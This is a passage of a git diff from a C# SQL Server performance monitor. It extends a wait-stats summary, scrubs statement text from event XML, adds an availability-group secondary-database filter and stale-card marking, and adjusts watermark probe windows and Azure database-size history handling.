+        string? collectorLastWaitType = null;
 
         while (await reader.ReadAsync(cancellationToken).ConfigureAwait(false))
         {
@@ -501,6 +677,14 @@ ORDER BY SUM(CONVERT(bigint, owt.wait_duration_ms)) DESC, owt.wait_type ASC
                 workQueueLength = reader.IsDBNull(8) ? 0 : reader.GetInt64(8);
                 pendingDiskIo = reader.IsDBNull(9) ? 0 : reader.GetInt64(9);
                 maxRunnableTasks = reader.IsDBNull(10) ? 0 : reader.GetInt32(10);
+                backgroundWaitingTasks = reader.IsDBNull(11) ? 0 : reader.GetInt64(11);
+                backgroundWaitTypes = reader.IsDBNull(12) ? 0 : reader.GetInt32(12);
+                collectorSessions = reader.IsDBNull(13) ? 0 : reader.GetInt64(13);
+                collectorWaitType = reader.IsDBNull(14) ? null : WaitTypeName.Trim(reader.GetString(14));
+                collectorWaitMs = reader.IsDBNull(15) ? null : reader.GetInt64(15);
+                collectorLastWaitType = reader.IsDBNull(16) ? null : WaitTypeName.Trim(reader.GetString(16));
+                idleWaitingTasks = reader.IsDBNull(17) ? 0 : reader.GetInt64(17);
+                idleWaitTypes = reader.IsDBNull(18) ? 0 : reader.GetInt32(18);
                 haveHeader = true;
             }
 
@@ -511,8 +695,8 @@ ORDER BY SUM(CONVERT(bigint, owt.wait_duration_ms)) DESC, owt.wait_type ASC
                 continue;
             }
 
-            /* Trimmed at the read (see WaitTypeName): this sample applies no ignore filter, so a background
-               waiter can be the top wait, and its trailing space would land in top_wait_type and the summary. */
+            /* Trimmed at the read (see WaitTypeName): a wait name can carry a trailing space (a user-task wait
+               can too), and it would land in top_wait_type and the summary. */
             waits.Add(new StallWaitRow(
                 WaitTypeName.Trim(reader.GetString(0)),
                 reader.IsDBNull(1) ? 0 : reader.GetInt64(1),
@@ -527,18 +711,29 @@ ORDER BY SUM(CONVERT(bigint, owt.wait_duration_ms)) DESC, owt.wait_type ASC
 
         var top = waits.Count > 0 ? waits[0] : default;
 
+        /* The summary renders whenever the header was read, even with nothing ranked: the exclusion tail is
+           the evidence on an instance where only background sessions wait or nothing waits at all. */
+
         return new StallWaitSample(
             allWaitingTasks,
             distinctWaitTypes,
             waits.Count > 0 ? top.WaitType : null,
             waits.Count > 0 ? top.TotalWaitMs : 0,
             waits.Count > 0 ? top.MaxWaitMs : 0,
-            waits.Count > 0 ? RenderWaitSummary(waits) : null,
+            RenderWaitSummary(
+                waits, backgroundWaitingTasks, backgroundWaitTypes, collectorSessions, collectorWaitType,
+                collectorWaitMs, collectorLastWaitType, idleWaitingTasks, idleWaitTypes),
             schedulerCount,
             runnableTasks,
             workQueueLength,
             pendingDiskIo,
-            maxRunnableTasks);
+            maxRunnableTasks,
+            backgroundWaitingTasks,
+            backgroundWaitTypes,
+            collectorSessions,
+            collectorWaitType,
+            collectorWaitMs,
+            collectorLastWaitType);
     }
 
     /// <summary>
@@ -549,11 +744,53 @@ ORDER BY SUM(CONVERT(bigint, owt.wait_duration_ms)) DESC, owt.wait_type ASC
     /// operator or a read filters on (top wait type, its totals, the scheduler aggregates) each have their own
     /// column, and this carries the BREADTH those cannot — five types in one glance without five more columns.
     /// It is summary only, and nothing keys on parsing it.</para>
+    ///
+    /// <para><b>The tail is reserved first.</b> It reads <c>excluded from ranking: background N tasks/M types;
+    /// idle K tasks/J types; ours: WAIT Xms (last L)</c> (<c>ours: running (last L)</c> while the request has no current wait), with <c>ours (oldest of N)</c> when several sessions match and
+    /// <c>ours: not visible</c> when none does, and the 512-character cap never cuts it: the top entries fill
+    /// what remains, whole entries only. With nothing ranked the summary is the tail alone. The tail's worst case is
+    /// about 340 characters (19-digit counts and two 60-character wait names), so it always fits the cap.</para>
     /// </summary>
-    public static string RenderWaitSummary(IReadOnlyList<StallWaitRow> waits)
+    public static string RenderWaitSummary(
+        IReadOnlyList<StallWaitRow> waits,
+        long backgroundWaitingTasks = 0,
+        int backgroundWaitTypes = 0,
+        long collectorSessions = 0,
+        string? collectorWaitType = null,
+        long? collectorWaitMs = null,
+        string? collectorLastWaitType = null,
+        long idleWaitingTasks = 0,
+        int idleWaitTypes = 0)
     {
         ArgumentNullException.ThrowIfNull(waits);
 
+        string ours;
+        if (collectorSessions <= 0)
+        {
+            ours = "ours: not visible";
+        }
+        else
+        {
+            var label = collectorSessions > 1
+                ? string.Format(CultureInfo.InvariantCulture, "ours (oldest of {0})", collectorSessions)
+                : "ours";
+            var last = string.IsNullOrEmpty(collectorLastWaitType) ? "none" : collectorLastWaitType;
+
+            ours = string.IsNullOrEmpty(collectorWaitType)
+                ? string.Format(CultureInfo.InvariantCulture, "{0}: running (last {1})", label, last)
+                : string.Format(
+                    CultureInfo.InvariantCulture, "{0}: {1} {2}ms (last {3})", label, collectorWaitType, collectorWaitMs ?? 0, last);
+        }
+
+        var tail = string.Format(
+            CultureInfo.InvariantCulture,
+            "excluded from ranking: background {0} tasks/{1} types; idle {2} tasks/{3} types; {4}",
+            backgroundWaitingTasks,
+            backgroundWaitTypes,
+            idleWaitingTasks,
+            idleWaitTypes,
+            ours);
+
         var summary = new StringBuilder();
 
         foreach (var wait in waits)
@@ -565,8 +802,9 @@ public static string RenderWaitSummary(IReadOnlyList<StallWaitRow> waits)
                 wait.WaitingTasks,
                 wait.TotalWaitMs);
 
-            /* Whole entries only. A summary truncated mid-figure would read as a real, smaller number. */
-            if (summary.Length + entry.Length + (summary.Length > 0 ? 2 : 0) > WaitSummaryMaxLength)
+            /* Whole entries only, and the tail stays whole: a summary truncated mid-figure would read as a
+               real, smaller number. */
+            if (summary.Length + entry.Length + (summary.Length > 0 ? 2 : 0) + 2 + tail.Length > WaitSummaryMaxLength)
             {
                 break;
             }
@@ -579,6 +817,12 @@ public static string RenderWaitSummary(IReadOnlyList<StallWaitRow> waits)
             summary.Append(entry);
         }
 
+        if (summary.Length > 0)
+        {
+            summary.Append("; ");
+        }
+
+        summary.Append(tail);
         return summary.ToString();
     }
 }
diff --git a/PerformanceMonitor.Collectors/SystemHealthEventsCollector.cs b/PerformanceMonitor.Collectors/SystemHealthEventsCollector.cs
index 21e7d98959..cd3b50f7ff 100644
--- a/PerformanceMonitor.Collectors/SystemHealthEventsCollector.cs
+++ b/PerformanceMonitor.Collectors/SystemHealthEventsCollector.cs
@@ -174,6 +174,10 @@ CollectorContext.EventFallbackWindow on first run (mirrors DeadlocksCollector).
     public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, CollectorContext context, CancellationToken cancellationToken)
     {
         var rows = new List<Row>();
+        /* #4348: the event node goes through the statement filter's XML walk where it first enters a row. A named
+           value (the sql_text action's statement, an error message that echoes one) becomes the placeholder in
+           place and the rest of the event keeps its shape, so the stage-2 parse still reads the other fields. */
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -181,7 +185,7 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
             {
                 EventTime = reader.IsDBNull(0) ? null : reader.GetDateTime(0),
                 EventType = reader.IsDBNull(1) ? null : reader.GetString(1),
-                EventXml = reader.IsDBNull(2) ? null : reader.GetString(2),
+                EventXml = reader.IsDBNull(2) ? null : scrub.Xml(reader.GetString(2)),
             });
         }
 
diff --git a/PerformanceMonitor.Collectors/TraceFlagsCollector.cs b/PerformanceMonitor.Collectors/TraceFlagsCollector.cs
index 0209a1110f..dca6cecf35 100644
--- a/PerformanceMonitor.Collectors/TraceFlagsCollector.cs
+++ b/PerformanceMonitor.Collectors/TraceFlagsCollector.cs
@@ -51,7 +51,7 @@ is_session bit NOT NULL
 )
 EXECUTE(N'DBCC TRACESTATUS(-1) WITH NO_INFOMSGS;');
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     tf.trace_flag,
     tf.status,
     tf.is_global,
diff --git a/PerformanceMonitor.Collectors/WaitStatsCollector.cs b/PerformanceMonitor.Collectors/WaitStatsCollector.cs
index 81ee3519ca..8a6d8bf07d 100644
--- a/PerformanceMonitor.Collectors/WaitStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/WaitStatsCollector.cs
@@ -47,7 +47,7 @@ private WaitStatsCollector()
     private const string QueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     wait_type = ws.wait_type,
     waiting_tasks_count = ws.waiting_tasks_count,
     wait_time_ms = ws.wait_time_ms,
@@ -63,7 +63,7 @@ WHERE ws.wait_time_ms > 0
        when the target is not Azure SQL DB (BuildQuery), so the Azure text stays the verbatim parity contract. */
     private const string IdentityResultSetText = @"
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     server_start_time = dosi.sqlserver_start_time,
     server_name = @@SERVERNAME
 FROM sys.dm_os_sys_info AS dosi;";
diff --git a/PerformanceMonitor.Collectors/WatermarkPolicy.cs b/PerformanceMonitor.Collectors/WatermarkPolicy.cs
index 61b8f6ae10..005822c658 100644
--- a/PerformanceMonitor.Collectors/WatermarkPolicy.cs
+++ b/PerformanceMonitor.Collectors/WatermarkPolicy.cs
@@ -128,9 +128,10 @@ public static class WatermarkPolicy
     /// <c>collection_time &gt; now - RecentWatermarkWindow</c> first. Every chunk older than the window is
     /// excluded outright — the same chunk exclusion <see cref="ReadFloor"/> relies on — so the probe costs
     /// one recent, almost-certainly-uncompressed chunk instead of the whole retained history. If the probe
-    /// finds a row, it IS the true unbounded MAX: nothing outside the window can be newer than something
-    /// inside it. Only when the probe finds NOTHING — a gap wider than the window, or a genuinely empty
-    /// table — does the caller re-run the true unbounded MAX. That fallback is what makes the technique
+    /// finds a row, it is the true unbounded MAX for a column that rises with <c>collection_time</c>: nothing
+    /// outside the window can be newer than something inside it (job_history's <c>run_datetime</c> does not rise
+    /// with it, so there a hit can be older than the unbounded MAX; see <see cref="WidenedWatermarkWindow"/>). Only when the probe finds NOTHING — a gap wider than the window, or a genuinely empty
+    /// table — does the caller try <see cref="WidenedWatermarkWindow"/> (#5515) and then re-run the true unbounded MAX. That fallback is what makes the technique
     /// exact rather than approximate: unlike <see cref="ClampCatchup"/>, nothing here ever substitutes a
     /// floor for a real answer.</para>
     ///
@@ -142,4 +143,27 @@ public static class WatermarkPolicy
     /// fleet.</para>
     /// </summary>
     public static readonly TimeSpan RecentWatermarkWindow = TimeSpan.FromHours(6);
+
+    /// <summary>
+    /// The second rung of the probe-then-confirm ladder (#5515). A server with no job run or trace event in
+    /// <see cref="RecentWatermarkWindow"/> (a quiet server) missed the first probe and went straight to the
+    /// unbounded MAX, which opens every chunk of the server's slice in retention, compressed ones included
+    /// (about 5,400 and 3,800 blocks a call for job_history and default_trace_events on the 43-server store).
+    /// The ladder tries this window between the two. A server whose newest row is under a week old is answered
+    /// by the chunks of that week, and only a server quiet for longer, or with no row at all, still pays the
+    /// unbounded read, once, because the runner's watermark cache keeps the answer afterwards.
+    ///
+    /// <para>The answer is never newer than the unbounded MAX, and it equals it for every column that rises with
+    /// <c>collection_time</c> (<c>instance_id</c> read as "the newest batch's id", <c>event_time</c>, query
+    /// stats times), by the argument <see cref="RecentWatermarkWindow"/> already makes: the probe bounds
+    /// <c>collection_time</c>, the partitioning column, and a row outside the window cannot hold a newer value than
+    /// a row inside it. The exception is job_history's <c>run_datetime</c>: sysjobhistory stamps a step with its
+    /// START time but the row is written when the step ENDS, so a row stored recently can carry an older value
+    /// than one stored earlier, and a windowed MAX can come back OLDER than the unbounded one. That only widens
+    /// the caller's re-read (the watermark minus its lookback moves back) and its natural-key dedupe drops the
+    /// repeats, so nothing is skipped. A miss here is not a first run either, so the unbounded read still
+    /// follows it. Every caller of the ladder uses this window: the server-scoped read, the pair read and the
+    /// per-database read.</para>
+    /// </summary>
+    public static readonly TimeSpan WidenedWatermarkWindow = TimeSpan.FromDays(7);
 }
diff --git a/PerformanceMonitor.Common/AgReplicaScope.cs b/PerformanceMonitor.Common/AgReplicaScope.cs
new file mode 100644
index 0000000000..c1a422517f
--- /dev/null
+++ b/PerformanceMonitor.Common/AgReplicaScope.cs
@@ -0,0 +1,155 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>One database-on-one-replica row from the <c>ag_database_replica_states</c> snapshot, reduced to the
+/// columns the replica scope judges (#5558). Every column but the names is nullable on purpose: a NULL
+/// <c>IsLocal</c> (a row from before the column, or WSFC quorum loss) is "cannot tell", never "secondary".</summary>
+public readonly record struct AgDatabaseMembership(string AgName, string DatabaseName, bool? IsLocal);
+
+/// <summary>
+/// Which databases this node holds only as a SECONDARY copy in an Availability Group (#5558). A secondary's
+/// database-level settings are the primary's (they replicate), so every node would report the same finding for
+/// the same database; the primary reports it once and the Recommendations skip it everywhere else.
+///
+/// <para>Read from the monitoring store's own <c>ag_replica_states</c> / <c>ag_database_replica_states</c>
+/// snapshots, not from a live <c>sys.fn_hadr_is_primary_replica</c> call: it costs no new query on the monitored
+/// server, it works for an AsOf pass (the role at that time, not now), and it fails open where the AG views do
+/// not exist (Azure SQL Database). See
+/// https://learn.microsoft.com/en-us/sql/relational-databases/system-dynamic-management-views/sys-dm-hadr-database-replica-states-transact-sql
+/// and
+/// https://learn.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-hadr-is-primary-replica-transact-sql
+/// for the engine's own definition of primary and secondary.</para>
+///
+/// <para><b>Fail open, always.</b> A database is skipped only when BOTH snapshots exist and are fresh, the database
+/// has a LOCAL row in the database snapshot, and the LOCAL replica's role for that database's group is explicitly
+/// SECONDARY. No rows, stale rows, a NULL role or <c>is_local</c>, RESOLVING, a standalone database and an engine
+/// without the AG views all skip nothing. The role is per group: two groups on one instance can have different
+/// primaries, so <c>server_properties.ag_replica_role</c> (one value per instance) is never used.</para>
+///
+/// <para><b>Distributed Availability Groups.</b> On a distributed AG's forwarder, a database is the local PRIMARY of
+/// its own (second-level) group and a SECONDARY under the distributed group. A database with any non-secondary local
+/// role is kept, so the forwarder skips nothing and reports the replicated findings, as a primary does. That is
+/// deliberate (fail open): do not "fix" it by treating the distributed group's secondary role as decisive.</para>
+///
+/// <para><b>Name matching (ordinal).</b> A database name is matched exactly, with no case folding, here and in the
+/// SQL predicates built from the set (<c>FactReplicaScope</c>, <c>PgSecondaryReplicaScope</c>). Both sides come from
+/// the same catalog and so carry identical casing: the AG snapshot's <c>database_name</c> is <c>sys.databases.name</c>
+/// (<c>AgDatabaseReplicaStatesCollector</c>, <c>d.name</c>), and the replicated facts' names are
+/// <c>sys.databases.name</c> too (<c>DatabaseConfigCollector</c> <c>d.name</c>, <c>QueryStoreCollector</c> and
+/// <c>IndexObjectStatsCollector</c> <c>d.name</c> / <c>DB_NAME()</c>, <c>FileIoStatsCollector</c> <c>DB_NAME()</c>). On a
+/// case-sensitive server collation a secondary <c>SalesDb</c> and a separate <c>salesdb</c> are different databases,
+/// and folding case would hide the second one's findings. The limit: a database whose name was renamed by case only
+/// (<c>ALTER DATABASE ... MODIFY NAME</c>) between a stored row and the snapshot is not matched until the rows
+/// are re-collected, which only ever shows a finding (fail open).</para>
+/// </summary>
+public static class AgReplicaScope
+{
+    /// <summary>How old a snapshot may be, measured against the pass's window end, before it is "stale" and
+    /// vouches for nothing. The AG collectors run every minute by default; an hour tolerates a slower custom
+    /// cadence without letting a stopped collector keep a days-old role in force.</summary>
+    public static readonly TimeSpan SnapshotFreshness = TimeSpan.FromHours(1);
+
+    /// <summary>The role string the engine reports for a secondary replica.</summary>
+    public const string SecondaryRole = "SECONDARY";
+
+    /// <summary>True when <paramref name="snapshotUtc"/> exists, is no later than the window end, and is within
+    /// <see cref="SnapshotFreshness"/> of it.</summary>
+    public static bool IsFresh(DateTime? snapshotUtc, DateTime windowEndUtc) =>
+        snapshotUtc is { } at && at <= windowEndUtc && windowEndUtc - at <= SnapshotFreshness;
+
+    /// <summary>The secondary databases from two snapshots read as of <paramref name="windowEndUtc"/>, applying
+    /// the freshness rule. Empty (never null) whenever anything is missing or stale.</summary>
+    public static IReadOnlySet<string> SecondaryDatabases(
+        IReadOnlyList<AgReplicaReading>? replicas, DateTime? replicaSnapshotUtc,
+        IReadOnlyList<AgDatabaseMembership>? databases, DateTime? databaseSnapshotUtc,
+        DateTime windowEndUtc)
+    {
+        if (!IsFresh(replicaSnapshotUtc, windowEndUtc) || !IsFresh(databaseSnapshotUtc, windowEndUtc))
+            return Empty();
+        return SecondaryDatabases(replicas, databases);
+    }
+
+    /// <summary>The secondary databases from two snapshots already judged fresh. A database is in the set only
+    /// when its group has exactly one distinct local role and that role is SECONDARY.</summary>
+    public static IReadOnlySet<string> SecondaryDatabases(
+        IReadOnlyList<AgReplicaReading>? replicas, IReadOnlyList<AgDatabaseMembership>? databases)
+    {
+        if (replicas is not { Count: > 0 } || databases is not { Count: > 0 }) return Empty();
+
+        /* Local role per group. Two local rows for one group that disagree (a torn snapshot) are "cannot tell". */
+        var roleByGroup = new Dictionary<string, string?>(StringComparer.OrdinalIgnoreCase);
+        foreach (var replica in replicas)
+        {
+            if (replica.IsLocal != true || string.IsNullOrWhiteSpace(replica.AgName)) continue;
+            var role = string.IsNullOrWhiteSpace(replica.RoleDesc) ? null : replica.RoleDesc.Trim().ToUpperInvariant();
+            if (roleByGroup.TryGetValue(replica.AgName, out var seen))
+            {
+                if (!string.Equals(seen, role, StringComparison.Ordinal)) roleByGroup[replica.AgName] = null;
+            }
+            else
+            {
+                roleByGroup[replica.AgName] = role;
+            }
+        }
+
+        var secondary = Empty();
+        var notSecondary = Empty();
+        foreach (var database in databases)
+        {
+            if (database.IsLocal != true || string.IsNullOrWhiteSpace(database.DatabaseName)
+                || string.IsNullOrWhiteSpace(database.AgName)) continue;
+            var isSecondary = roleByGroup.TryGetValue(database.AgName, out var localRole)
+                && string.Equals(localRole, SecondaryRole, StringComparison.Ordinal);
+            if (isSecondary) secondary.Add(database.DatabaseName);
+            else notSecondary.Add(database.DatabaseName);
+        }
+
+        /* A name that also reads as not-secondary (two groups claiming one name, a torn snapshot) is not skipped. */
+        secondary.ExceptWith(notSecondary);
+        return secondary;
+    }
+
+    /// <summary>The one-sentence note shown wherever databases were skipped, or null for none. Plain English;
+    /// the same sentence on every surface.</summary>
+    public static string? SkippedNote(int count) => count switch
+    {
+        <= 0 => null,
+        1 => "1 database skipped: this server holds a secondary copy of it in an availability group. Check the primary replica for its findings.",
+        _ => string.Create(CultureInfo.InvariantCulture,
+            $"{count} databases skipped: this server holds a secondary copy of them in an availability group. Check the primary replica for their findings."),
+    };
+
+    /// <summary>The note for a set, or null when it is null or empty.</summary>
+    public static string? SkippedNote(IReadOnlyCollection<string>? secondaryDatabases) =>
+        secondaryDatabases is null ? null : SkippedNote(secondaryDatabases.Count);
+
+    /// <summary>True when <paramref name="databaseName"/> is in the skipped set (an exact, ordinal match: see
+    /// <see cref="AgReplicaScope"/>, "Name matching"). A null or empty set, or a null/blank name, is false: fail open.</summary>
+    public static bool IsSkipped(IReadOnlyCollection<string>? secondaryDatabases, string? databaseName)
+    {
+        if (secondaryDatabases is not { Count: > 0 } || string.IsNullOrWhiteSpace(databaseName)) return false;
+        foreach (var name in secondaryDatabases)
+            if (string.Equals(name, databaseName, StringComparison.Ordinal)) return true;
+        return false;
+    }
+
+    /// <summary>The names that are not a secondary copy on this node, in their original order. The FinOps
+    /// Recommendations list filters its per-database findings with this (#5558). With nothing to skip the input
+    /// comes back unchanged.</summary>
+    public static List<string> WithoutSecondaries(IEnumerable<string> databaseNames, IReadOnlyCollection<string>? secondaryDatabases) =>
+        databaseNames.Where(name => !IsSkipped(secondaryDatabases, name)).ToList();
+
+    private static HashSet<string> Empty() => new(StringComparer.Ordinal);
+}
diff --git a/PerformanceMonitor.Common/AgTopology.cs b/PerformanceMonitor.Common/AgTopology.cs
index 2e3076d23c..7f62672ba3 100644
--- a/PerformanceMonitor.Common/AgTopology.cs
+++ b/PerformanceMonitor.Common/AgTopology.cs
@@ -169,7 +169,8 @@ private static string Normalize(string? value) =>
     /// </summary>
     public static List<AgTopologyCard> BuildCards(
         IReadOnlyList<AgTopologyReplicaRow> replicas,
-        IReadOnlyList<AgTopologyDatabaseRow> databases)
+        IReadOnlyList<AgTopologyDatabaseRow> databases,
+        DateTime? nowUtc = null)
     {
         ArgumentNullException.ThrowIfNull(replicas);
         ArgumentNullException.ThrowIfNull(databases);
@@ -202,8 +203,22 @@ public static List<AgTopologyCard> BuildCards(
                 worst = Worse(worst, database.SynchronizationStateSeverity);
             }
 
+            /* D10 of the final walk: the badge describes the snapshot, so it can only be as current as the snapshot.
+               When the caller passes the clock, a card whose newest replica snapshot is older than the fleet's offline
+               mark (ServerHealthThresholds.OfflineThreshold, the same 30 minutes the web page's #5489 rule and the
+               Offline band use) reads "Stale" and ranks Warning, whatever the old rows said: 13 days after the last
+               collection a row that read Healthy is a memory. Warning, never Unknown, which is the lowest value and
+               would sort the stale card below a healthy one. Without the clock (the pre-existing callers and pins)
+               nothing is stale. */
+            var isStale = nowUtc.HasValue && nowUtc.Value - first.CollectionTime > ServerHealthThresholds.OfflineThreshold;
+            if (isStale && worst < HealthSeverity.Warning)
+            {
+                worst = HealthSeverity.Warning;
+            }
+
             var card = new AgTopologyCard
             {
+                IsStale = isStale,
                 ServerId = first.ServerId,
                 ServerName = first.ServerName,
                 AgName = first.AgName,
@@ -589,6 +604,7 @@ public static int ComputeDigest(IReadOnlyList<AgTopologyCard> cards)
             hash.Add(card.DatabaseCollectionTime);
             hash.Add(card.PrimaryReplica);
             hash.Add(card.Severity);
+            hash.Add(card.IsStale);
 
             hash.Add(card.Replicas.Count);
             foreach (var replica in card.Replicas)
@@ -873,6 +889,11 @@ public sealed class AgTopologyCard : AgTopologyObservable
     public string? PrimaryReplica { get; set; }
     public HealthSeverity Severity { get; set; }
 
+    /// <summary>True when the newest replica snapshot is older than <see cref="ServerHealthThresholds.OfflineThreshold"/>
+    /// (set by <see cref="AgTopology.BuildCards"/> when it is given the clock): the badge says "Stale" and the band is
+    /// at least Warning.</summary>
+    public bool IsStale { get; set; }
+
     /// <summary><c>sys.availability_groups.group_id</c> as text (V151, #4475) — taken from the card's first
     /// replica row, which is the same value every replica of this AG stores (the engine stamps one group_id
     /// per AG, identically on every replica). Null on a card built entirely from rows collected before this
@@ -889,7 +910,7 @@ public sealed class AgTopologyCard : AgTopologyObservable
     public ObservableCollection<AgTopologyDatabase> Databases { get; } = new();
 
     public string AgNameDisplay => string.IsNullOrWhiteSpace(AgName) ? "—" : AgName!;
-    public string SeverityLabel => AgTopology.SeverityLabel(Severity);
+    public string SeverityLabel => IsStale ? "Stale" : AgTopology.SeverityLabel(Severity);
     public bool HasDatabases => Databases.Count > 0;
 
     public string PrimaryDisplay => string.IsNullOrWhiteSpace(PrimaryReplica)
@@ -939,6 +960,7 @@ public void UpdateFrom(AgTopologyCard latest)
         DatabaseCollectionTime = latest.DatabaseCollectionTime;
         PrimaryReplica = latest.PrimaryReplica;
         Severity = latest.Severity;
+        IsStale = latest.IsStale;
         GroupId = latest.GroupId;
 
         AgTopology.Reconcile(
diff --git a/PerformanceMonitor.Common/AlertMetricClassifier.cs b/PerformanceMonitor.Common/AlertMetricClassifier.cs
index 59e02915c4..cb3b8e5364 100644
--- a/PerformanceMonitor.Common/AlertMetricClassifier.cs
+++ b/PerformanceMonitor.Common/AlertMetricClassifier.cs
@@ -191,6 +191,15 @@ elapsed minutes. */
             "Poison Wait" => $"{value:F0} ms",
             "Long-Running Query" => $"{value:F0} m",
 
+            /* #5450: "Collection Gap At Start" carries the whole minutes the service was not collecting before
+               this start, and the 15 that gates it: a measurement, so a number with its unit rather than a
+               state-only dash. */
+            "Collection Gap At Start" => $"{value:F0} m",
+
+            /* #5450: "Collection Gaps In History" carries the whole hours of the audited day that were flagged,
+               a count with its unit; the threshold arrives as 0, so it renders "0 h" like the other counts. */
+            "Collection Gaps In History" => $"{value:F0} h",
+
             /* #1839 total blocked wait — seconds, whole (the numeric is already seconds, not ms). */
             "Blocking Wait Time" => $"{value:F0} s",
 
@@ -321,11 +330,15 @@ next_start is -infinity.
 
                        "Web TLS Certificate Expiring" (#3514) — the current value is the certificate's expiry
                        DATE ("expires 2026-... (in 10 days)" / "expired 2026-..."), a date rather than a
-                       measurement, and the fire site passes the 0 sentinel for both numeric columns. */
+                       measurement, and the fire site passes the 0 sentinel for both numeric columns.
+
+                       "MCP TLS Certificate Expiring" (#5288) — the same alert for the MCP endpoint's
+                       certificate, fired by the same code over the same shape of value. */
                     or "Collection Stopped"
                     or "Compression Job Stuck"
                     or "Store Runtime Upgrade"
                     or "Web TLS Certificate Expiring"
+                    or "MCP TLS Certificate Expiring"
 
                     /* #3816, the same split as "Compression Job Stuck" one family over: a refresh or
                        retention policy's stuck reason is elapsed minutes when a run HUNG and a scheduler
diff --git a/PerformanceMonitor.Common/AzureSiblingDatabaseSize.cs b/PerformanceMonitor.Common/AzureSiblingDatabaseSize.cs
index 43207cd328..3dc3c7f19a 100644
--- a/PerformanceMonitor.Common/AzureSiblingDatabaseSize.cs
+++ b/PerformanceMonitor.Common/AzureSiblingDatabaseSize.cs
@@ -13,27 +13,31 @@
 namespace PerformanceMonitor.Common;
 
 /// <summary>
-/// The one spelling of how Database Sizes treats the OTHER databases on an Azure SQL Database server, shared by Lite
-/// and Darling so both apps say the same thing. <c>DatabaseSizeStatsCollector</c> writes the row and the growth reads
-/// leave the old shape of it out; this class owns the name, the old-shape test and the words.
+/// The one spelling of how Database Sizes treats the "(whole database)" rows that OTHER databases on an Azure SQL
+/// Database server left in the store, shared by Lite and Darling so both apps say the same thing. Since #5498
+/// <c>DatabaseSizeStatsCollector</c> reads each user database on its own connection and stores its real data and log
+/// files, so it no longer writes such a row; the rows already stored stay in history, and the growth reads leave them
+/// out. This class owns the name, the old-shape test and the words.
 ///
-/// <para>Connected to <c>master</c>, the collector reads each other database from <c>sys.resource_stats</c> and stores
-/// one row for it, named <see cref="FileName"/>. Rows stored before the allocated/used fix put the database's USED
+/// <para>Before #5498, connected to <c>master</c>, the collector read each other database from
+/// <c>sys.resource_stats</c> and stored one row for it, named <see cref="FileName"/>. Rows stored before the
+/// allocated/used fix put the database's USED
 /// space in <c>total_size_mb</c> and left <c>used_size_mb</c> empty. Every other row in the store puts the ALLOCATED
 /// size there. Rows stored after the fix put the allocated size in <c>total_size_mb</c> and the used space in
 /// <c>used_size_mb</c>. A growth read that set an old row beside a new one would call the one-time change of meaning a
 /// size jump: 119 MB then 10,240 MB for a Hyperscale database that did not grow at all.</para>
 ///
-/// <para>So a growth read leaves the old-shape rows out (<see cref="ExcludePreFixRows"/>), at read time, so it covers
-/// history collected before the change without rewriting it. A database then reads like one that was added inside the
-/// window: its past size is blank and its growth is 0, until a post-fix sample is old enough to compare against.
-/// Reads of a current size, and sums over the latest snapshot, keep every row.</para>
+/// <para>So the latest side of a growth read leaves the old-shape rows out (<see cref="ExcludePreFixRows"/>), and its
+/// 7-day and 30-day sides leave out every such row (<see cref="ExcludeAllSiblingRows"/>), at read time, so it covers
+/// history collected before the change without rewriting it. A database with no comparable older row then reads like
+/// one that was added inside the window: its past size is blank and its growth is n/a (null), until a sample is old
+/// enough to compare against. Reads of a current size, and sums over the latest snapshot, keep every row.</para>
 /// </summary>
 public static class AzureSiblingDatabaseSize
 {
-    /// <summary>The <c>file_name</c> of the one row a sibling database gets: <c>sys.resource_stats</c> has no
-    /// per-file breakdown, so the row says it covers the whole database instead of naming a file that does not
-    /// exist. Holds no single quote, because the collector places it inside a quoted string.</summary>
+    /// <summary>The <c>file_name</c> of the one row a sibling database got before #5498: <c>sys.resource_stats</c> has no
+    /// per-file breakdown, so the row said it covered the whole database instead of naming a file that does not
+    /// exist. Holds no single quote, because the row tests place it inside a quoted string.</summary>
     public const string FileName = "(whole database)";
 
     /// <summary>The SQL test for the one row a sibling database has, in either shape: no file id, and the
@@ -56,6 +60,15 @@ public static class AzureSiblingDatabaseSize
     /// an old-shape sibling row. Both sides of the test are two-valued, so a NULL cannot make a row drop out.</summary>
     public const string ExcludePreFixRows = "NOT (" + PreFixRowPredicate + ")";
 
+    /// <summary>#5498: the clause a growth read adds to the PAST side of its comparison, after <c>AND</c>: it leaves out
+    /// EVERY <see cref="FileName"/> row, whatever its shape. Since #5498 the collector reads each Azure SQL Database user
+    /// database on its own connection and stores its real data and log files, so a <see cref="FileName"/> row is history
+    /// from before the upgrade: data space only, with no log. The newest snapshot now holds the log too, so a past side
+    /// that kept those rows would call the log a size jump. Leaving them out reads a database with no comparable older row
+    /// like one added inside the window: a blank past size and no growth figure. Both sides of the test are two-valued, so
+    /// a NULL cannot make a row drop out.</summary>
+    public const string ExcludeAllSiblingRows = "NOT (" + RowPredicate + ")";
+
     /// <summary>What a Database Sizes row for another database says about the log. The size on such a row is data
     /// space only, and the server reports no log size for a database other than the connected one, so the log is
     /// not zero and not included: it is not known. Plain words, with no field names, because people read it on a
diff --git a/PerformanceMonitor.Common/BlockingThresholdCoverage.cs b/PerformanceMonitor.Common/BlockingThresholdCoverage.cs
new file mode 100644
index 0000000000..12cbe6f3b7
--- /dev/null
+++ b/PerformanceMonitor.Common/BlockingThresholdCoverage.cs
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// Where the Blocking charts' blocked-process-report data starts once the server's <c>blocked process threshold (s)</c> is
